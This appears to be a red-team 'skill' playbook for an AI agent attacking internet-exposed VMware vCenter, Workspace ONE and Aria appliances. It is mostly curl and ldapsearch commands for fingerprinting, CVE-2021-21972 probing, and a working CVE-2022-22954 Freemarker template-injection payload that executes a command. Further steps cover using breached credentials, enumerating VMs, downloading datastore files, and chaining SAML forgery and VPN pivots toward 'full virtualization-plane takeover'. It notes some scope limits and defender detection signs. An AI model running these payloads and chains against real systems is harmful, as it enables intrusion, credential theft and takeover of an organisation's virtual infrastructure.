vmware-vcenter-attack

When to use

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: /ui, /ui/login, /websso/SAML2/Metadata, /sdk, /mob (Managed Object Browser)
• TLS cert SAN includes vcenter / vsphere / vcsa / psc / vmware
• Workspace ONE Access / Identity Manager: /SAAS, /SAAS/auth, /SAAS/login, /SAAS/horizon
• VMware Aria / vRealize: /vco, /vco-controlcenter, /orchestrator, /lcm/api/v1
• Horizon View: /portal, /admin

Do NOT use for:

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

Step 1 — Version fingerprinting

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

# Workspace ONE Access vulnerable endpoint
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"id\")}"
# Look for "uid=" in response → confirmed RCE (Freemarker)

If page reflects template error / executes command → critical. Stop and report.

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

⚠ Do not spray vCenter — [email protected] has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

Step 6 — SSO / vmdir LDAP enumeration

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

Step 7 — Managed Object Browser (MOB) — frequently leaks data

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

Step 8 — vSphere REST API enumeration (post-cred)

# Get session token
curl -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

Step 9 — Workspace ONE Access specific paths

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"

Step 10 — Aria / vRealize specific paths

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"

Tooling

• vCenter-Exploit collection (multiple PoCs on GitHub for 21972, 21985, 22005)
• Greenbone/openvas-scanner VMware NASL plugins — version detection
• nuclei templates: vmware-vcenter-*.yaml, cve-2021-21972.yaml, cve-2022-22954.yaml
• Metasploit modules: exploit/multi/http/vmwarevcenter*

Detection patterns (what defenders/SOC will see)

• Excessive 404s on /ui/vropspluginui/* — IDS signature
• POST to /sdk from non-management IP
• [email protected] auth failures
• TLS handshake fingerprint changes
• Plugin upload to vRealize endpoint

Pair with mid-engagement-ir-detection skill — vCenter is monitored heavily in mature SOCs.

External-only boundary check

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per feedbackskillboundaries. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

Severity scoring guidance (red-team deliverable context)

Anti-patterns

• DO NOT spray vCenter SSO — lockout is aggressive; one chance often
• DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
• DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
• DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

Bridge to neighboring skills

• enterprise-vpn-attack — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
• m365-entra-attack — vCenter SSO sometimes federated to Entra; cred-chain bridging
• mid-engagement-ir-detection — vCenter monitoring is sensitive; expect mid-engagement mitigations
• redteam-report-template — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

Related Skills & Chains

• hunt-saml — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at /SAAS/API/1.0/GET/metadata/idp.xml and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted → hunt-saml XSW1-XSW8 against the federating IdP → forged assertion with [email protected] → SP-impersonation as vCenter admin → full virtualization-plane takeover.
• hunt-rce — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or /ui/login body → confirm patch level missing → hunt-rce deserialization/SSTI gadget from the matching CVE PoC → root on vCenter appliance → API-token mint → cluster-wide VM control.
• enterprise-vpn-attack — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, vmware-vcenter-attack becomes reachable on internal-only vCenter → datacenter takeover.
• m365-entra-attack — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to login.microsoftonline.com → m365-entra-attack Entra ATO on [email protected] synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
• mid-engagement-ir-detection — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run mid-engagement-ir-detection baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via redteam-report-template.